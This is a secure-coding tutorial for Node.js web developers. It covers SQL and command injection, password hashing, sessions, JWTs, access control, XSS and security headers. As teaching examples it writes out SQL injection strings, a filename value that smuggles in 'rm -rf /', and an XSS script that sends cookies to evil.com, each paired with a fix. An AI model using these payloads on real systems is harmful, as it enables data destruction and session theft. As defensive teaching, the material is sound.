- Introduction
- The Attacker's Mindset
- Injection Attacks
- Authentication Security
- Authorization Security
- XSS Attacks
- Security Best Practices
- Resources
Security is not a feature—it's a mindset.
Goal: Make you paranoid about your code and always think about security.
"Where did the developer make an assumption?"
Every vulnerability comes down to assumptions:
- ❌ "Input will be clean"
- ❌ "User is who they say they are"
- ❌ "Request comes from our frontend"
- ❌ "No one will open network tab"
- Your framework
- Your programming language
- Your library choices
Finding your assumptions and breaking them
They don't use your app the "right" way:
- They poke every boundary
- They modify every input
- They guess your assumptions
- They try to break everything
Your backend speaks multiple languages:
Backend
├── SQL (database)
├── HTML/CSS/JS (browser)
└── Shell (operating system)
Vulnerabilities occur when:
- User input crosses language boundaries
- Data is treated as code
- Code is treated as data
Vulnerable Code:
// ❌ DANGEROUS - String concatenation
const email = req.body.email;
const query = `SELECT * FROM users WHERE email = '${email}'`;
db.query(query);Malicious Input:
' OR '1'='1' --
Resulting Query:
SELECT * FROM users WHERE email = '' OR '1'='1' --'What happens:
- First
'closes the string OR '1'='1'always true--comments out rest- Returns ALL users
Input:
'; DROP TABLE users; --
Resulting Query:
SELECT * FROM users WHERE email = '';
DROP TABLE users;
--'Result: Database table deleted! 💀
✅ SAFE - Parameterized queries:
// Separate query from data
const query = 'SELECT * FROM users WHERE email = $1';
const values = [email];
db.query(query, values);Why it works:
- Query structure defined separately
- User input treated as data only
- No confusion between code and data
- Database drivers handle escaping
Modern ORMs use this by default!
Vulnerable Code:
// ❌ DANGEROUS - Command concatenation
const filename = req.body.filename;
exec(`ffmpeg -i input.jpg -o ${filename}`);Malicious Input:
output.jpg; rm -rf /
Resulting Command:
ffmpeg -i input.jpg -o output.jpg; rm -rf /Result: Entire system deleted! 💀
✅ SAFE - Separate command from arguments:
// Use spawn/execFile with argument array
const { spawn } = require('child_process');
spawn('ffmpeg', ['-i', 'input.jpg', '-o', filename]);Why it works:
- Arguments passed directly to process
- Not interpreted by shell
- No command injection possible
Mental Model:
User Input + Another Language = Potential Injection
User Input → Database = SQL Injection
User Input → Shell = Command Injection
User Input → HTML = XSS (covered later)
Prevention: ✅ Use parameterized APIs ✅ Separate structure from data ✅ Never use string concatenation ✅ Always treat user input as data
Why?
- Saves development time
- Professional security team
- Handles edge cases
- Quick response to new threats
- World-class UX
When to build your own:
- After reaching scale (1M+ users)
- When bills exceed $10K+/month
- When you have revenue and team
// ❌ TERRIBLE
await db.query(
'INSERT INTO users (email, password) VALUES ($1, $2)',
[email, 'password123']
);Problems:
- Database breach exposes all passwords
- Employees can see passwords
- Users reuse passwords across sites
- Massive security risk
What is Hashing?
- One-way function
- Same input → Same output (always)
- Fixed-length output
- Cannot reverse (mathematically impossible)
const bcrypt = require('bcrypt');
// Hash password
const hash = await bcrypt.hash('password123', 10);
// Result: $2b$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy
// Verify password
const match = await bcrypt.compare('password123', hash);
// Returns: trueRainbow Table: Precomputed hashes of common passwords
password → 5f4dcc3b5aa765d61d8327deb882cf99
123456 → e10adc3949ba59abbe56e057f20f883e
admin → 21232f297a57a5a743894a0e4a801fc3
Attack: Match leaked hashes against rainbow table
Salt: Random string unique to each user
// Signup
const salt = crypto.randomBytes(16).toString('hex'); // SP3xY2...
const password = '123456';
const hashed = await hash(password + salt);
// Store both
await db.query(
'INSERT INTO users (email, password_hash, salt) VALUES ($1, $2, $3)',
[email, hashed, salt]
);
// Login
const user = await db.query('SELECT * FROM users WHERE email = $1', [email]);
const inputHashed = await hash(inputPassword + user.salt);
if (inputHashed === user.password_hash) {
// Login successful
}Why it works:
- Each user has unique salt
- Same password → Different hash
- Rainbow tables useless
Modern GPUs:
- Billions of SHA-256 hashes/second
- Can try every 8-character password in days
Solution: Slow Hashing Functions
Use Argon2id (current standard) or bcrypt:
const argon2 = require('argon2');
// Deliberately slow (400ms)
const hash = await argon2.hash('password123', {
timeCost: 3,
memoryCost: 65536
});Impact:
- Genuine user: 400ms login (imperceptible)
- Attacker: 4-5 attempts/second (vs billions)
- Cracking time: Days → Centuries
1. User logs in
2. Server creates session ID (128-256 random characters)
3. Server stores session in database/Redis
4. Server sends session ID to browser (cookie)
5. Browser includes cookie in every request
6. Server looks up session
// Create session
const sessionId = crypto.randomBytes(32).toString('hex');
await db.query(`
INSERT INTO sessions (id, user_id, ip_address, user_agent, expires_at)
VALUES ($1, $2, $3, $4, $5)
`, [sessionId, userId, req.ip, req.headers['user-agent'], expiresAt]);
// Send to browser
res.cookie('session_id', sessionId, {
httpOnly: true, // ✅ JavaScript can't access
secure: true, // ✅ HTTPS only
sameSite: 'strict' // ✅ Prevent CSRF
});httpOnly: true
- JavaScript cannot read cookie
- Protects against XSS stealing session
secure: true
- Cookie only sent over HTTPS
- Prevents interception on public WiFi
sameSite: 'strict' or 'lax'
strict: Only same-origin requestslax: Top-level navigation onlynone: All requests (dangerous!)
Header.Payload.Signature
eyJhbGc... . eyJzdWI... . SflKxw...
(Algorithm) (Data) (Signature)
Payload Example:
{
"sub": "user123",
"name": "John Doe",
"admin": false,
"iat": 1516239022
}const jwt = require('jsonwebtoken');
// Login: Create JWT
const token = jwt.sign(
{ userId: user.id, email: user.email },
process.env.JWT_SECRET,
{ expiresIn: '15m' }
);
res.json({ token });
// Verify JWT
const decoded = jwt.verify(token, process.env.JWT_SECRET);
// If signature invalid, throws error1. Cannot Revoke
- User wants to log out all devices → Impossible
- Account compromised → Can't immediately revoke
Workarounds:
- Blacklist tokens (defeats stateless purpose)
- Short expiration + refresh tokens
2. Storage Issues
- localStorage → Vulnerable to XSS
- Cookies → Back to session-like setup
Recommendation: Use sessions unless you have specific scaling needs
Why? Prevent brute force attacks
Layer 1: Per IP
// 10 attempts per minute per IP
app.use('/login', rateLimit({
windowMs: 60 * 1000,
max: 10,
keyGenerator: (req) => req.ip
}));Layer 2: Per Account
// 5 failed attempts → Lock for 15 minutes
if (failedAttempts >= 5) {
await lockAccount(userId, 15 * 60 * 1000);
}Layer 3: Global
// 100 total login attempts per minute system-wide
globalRateLimit.check() || throw new Error('System busy');Authentication = Who are you? Authorization = What can you do?
Problem: Developers assume authenticated = authorized
// ❌ VULNERABLE
app.get('/books/:id', authenticateUser, async (req, res) => {
// User is authenticated ✅
// But can access ANY book! ❌
const book = await db.query(
'SELECT * FROM books WHERE id = $1',
[req.params.id]
);
res.json(book);
});Attack:
GET /books/1 → User's book ✅
GET /books/2 → Someone else's book! ❌
GET /books/3 → Another user's book! ❌
// ✅ SECURE
app.get('/books/:id', authenticateUser, async (req, res) => {
const book = await db.query(
'SELECT * FROM books WHERE id = $1 AND user_id = $2',
[req.params.id, req.user.id] // ✅ Check ownership!
);
if (!book) {
return res.status(404).json({ error: 'Not found' });
}
res.json(book);
});Key Points:
- ✅ Check authorization at data access point
- ✅ Always include
user_idin query - ✅ Return 404 (not 403) to avoid info leak
❌ Don't leak information:
// BAD - Reveals book exists
if (book.user_id !== req.user.id) {
return res.status(403).json({ error: 'Forbidden' });
}✅ Hide information:
// GOOD - Attacker can't tell if book exists
const book = await db.query(
'SELECT * FROM books WHERE id = $1 AND user_id = $2',
[req.params.id, req.user.id]
);
if (!book) {
return res.status(404).json({ error: 'Not found' });
}// ❌ VULNERABLE - Security through obscurity
app.get('/admin/invoices', authenticateUser, async (req, res) => {
// Assumes: "Only admins know this URL"
// Reality: Anyone authenticated can access!
const invoices = await db.query('SELECT * FROM invoices');
res.json(invoices);
});// ✅ SECURE - Explicit role check
app.get('/admin/invoices',
authenticateUser,
requireRole('admin'), // ✅ Check role!
async (req, res) => {
const invoices = await db.query('SELECT * FROM invoices');
res.json(invoices);
}
);
// Middleware
function requireRole(role) {
return (req, res, next) => {
if (req.user.role !== role) {
return res.status(403).json({ error: 'Forbidden' });
}
next();
};
}Horizontal Attacks: User A → User B's data
- Check ownership at database level
- Include
user_idin queries
Vertical Attacks: User → Admin functions
- Check roles/permissions explicitly
- Don't rely on URL obscurity
Cross-Site Scripting: Attacker runs JavaScript in victim's browser
Why dangerous?
- Read everything on page
- Steal cookies/localStorage
- Make requests as user
- Redirect to phishing sites
- Alter page content
// User posts comment with markdown
const comment = req.body.comment;
// Convert markdown to HTML
const html = markdownToHtml(comment);
// ❌ Store HTML directly
await db.query(
'INSERT INTO comments (html) VALUES ($1)',
[html]
);
// ❌ Render without sanitization
res.send(`<div>${html}</div>`);Attack:
# My Comment
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>Result: Script runs in every user's browser who views the comment!
const sanitizeHtml = require('sanitize-html');
// ✅ Sanitize before storing
const clean = sanitizeHtml(html, {
allowedTags: ['b', 'i', 'em', 'strong', 'a', 'p'],
allowedAttributes: {
'a': ['href']
}
});
await db.query(
'INSERT INTO comments (html) VALUES ($1)',
[clean]
);React (automatic escaping):
// ✅ Safe by default
<div>{userInput}</div>
// ⚠️ Dangerous - only if you must
<div dangerouslySetInnerHTML={{__html: sanitizedHtml}} />Last line of defense (not prevention!)
// Tell browser what scripts to allow
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self' https://trusted.com; img-src *"
);
next();
});What it does:
- Only run scripts from your domain
- Block inline scripts
- Restrict image sources
- Browser enforces automatically
const { z } = require('zod');
const userSchema = z.object({
email: z.string().email().max(255),
password: z.string().min(12).max(128),
age: z.number().int().min(18).max(120)
});
app.post('/signup', (req, res) => {
// ✅ Validate EVERYTHING
const result = userSchema.safeParse(req.body);
if (!result.success) {
return res.status(400).json({ errors: result.error });
}
// Now data is exactly as expected
const { email, password, age } = result.data;
});const helmet = require('helmet');
// ✅ One line for many security headers
app.use(helmet());
// Or manually:
app.use((req, res, next) => {
// Prevent clickjacking
res.setHeader('X-Frame-Options', 'DENY');
// Prevent MIME sniffing
res.setHeader('X-Content-Type-Options', 'nosniff');
// Enable XSS filter
res.setHeader('X-XSS-Protection', '1; mode=block');
// HTTPS only
res.setHeader('Strict-Transport-Security', 'max-age=31536000');
next();
});// ❌ NEVER
const DB_PASSWORD = 'my_secret_password';
// ✅ Environment variables
const DB_PASSWORD = process.env.DB_PASSWORD;
// ✅✅ Secret manager
const secrets = await AWS.SecretsManager.getSecretValue({
SecretId: 'prod/database'
}).promise();Key Points:
- Never commit secrets to Git
- Use
.envfiles (add to.gitignore) - Use secret managers in production
- Rotate secrets regularly
// ❌ DON'T log sensitive data
logger.info('User login', {
email: user.email,
password: user.password // ❌❌❌ NEVER!
});
// ✅ Log safely
logger.info('User login', {
userId: user.id, // ✅ ID only
ipAddress: req.ip,
userAgent: req.headers['user-agent'],
timestamp: Date.now()
});Never log:
- Passwords
- Credit cards
- API keys
- Social Security Numbers
- Any PII that's not necessary
// Set log level based on environment
const logLevel = process.env.NODE_ENV === 'production'
? 'info' // Less verbose
: 'debug'; // Everything
// Disable debug mode in production
if (process.env.NODE_ENV === 'production') {
app.set('debug', false);
}Why?
- Debug logs expose sensitive info
- Stack traces reveal code structure
- SQL queries show database schema
1. Where is data crossing a boundary?
User Input → Database
User Input → Shell
User Input → HTML
Frontend → Backend
2. What assumptions am I making?
- Input is clean
- User is authorized
- Request is from our frontend
- Data format is correct
3. What if those assumptions are wrong?
- What's the worst that could happen?
- How can an attacker exploit this?
- What damage could be done?
Layer 1: Input Validation
↓
Layer 2: Parameterized Operations
↓
Layer 3: Authorization Checks
↓
Layer 4: Security Headers
↓
Layer 5: Monitoring & Logging
Why? Even if one layer fails, others protect you
1. Default Deny
- If not explicitly allowed → Deny
- New resources protected by default
2. Least Privilege
- Give minimum access needed
- Frontend devs ≠ Production database access
3. Fail Securely
- Errors should not reveal info
- Return generic error messages
4. Don't Trust Anyone
- Not user input
- Not frontend
- Not even authenticated users
https://portswigger.net/web-security
Free comprehensive training:
- SQL Injection labs
- XSS tutorials
- Authentication vulnerabilities
- Practical exercises
- Theory + Practice
https://owasp.org/www-project-top-ten/
Current top vulnerabilities:
- Broken Access Control
- Cryptographic Failures
- Injection
- Insecure Design
- Security Misconfiguration
- Vulnerable Components
- Authentication Failures
- Software/Data Integrity
- Logging Failures
- Server-Side Request Forgery
https://cheatsheetseries.owasp.org/
Best practices for:
- Authentication
- Session Management
- Password Storage
- SQL Injection Prevention
- XSS Prevention
- And much more...
- Use parameterized queries
- Never concatenate user input
- Sanitize all user input
- Use ORM/framework safely
- Hash passwords (Argon2id/bcrypt)
- Use salts (unique per user)
- Implement rate limiting
- Use httpOnly, secure cookies
- Consider auth provider
- Check at data access point
- Include user_id in queries
- Verify roles for admin functions
- Return 404 (not 403)
- Write authorization tests
- Sanitize user content
- Use CSP headers
- Escape output
- Never use dangerouslySetInnerHTML
- Validate all input
- Use security headers (Helmet)
- Manage secrets properly
- Set correct log levels
- Monitor suspicious activity
- Test security explicitly
Remember: Security is not a feature you add—it's a mindset you develop. Always be paranoid about boundaries, assumptions, and user input! 🛡️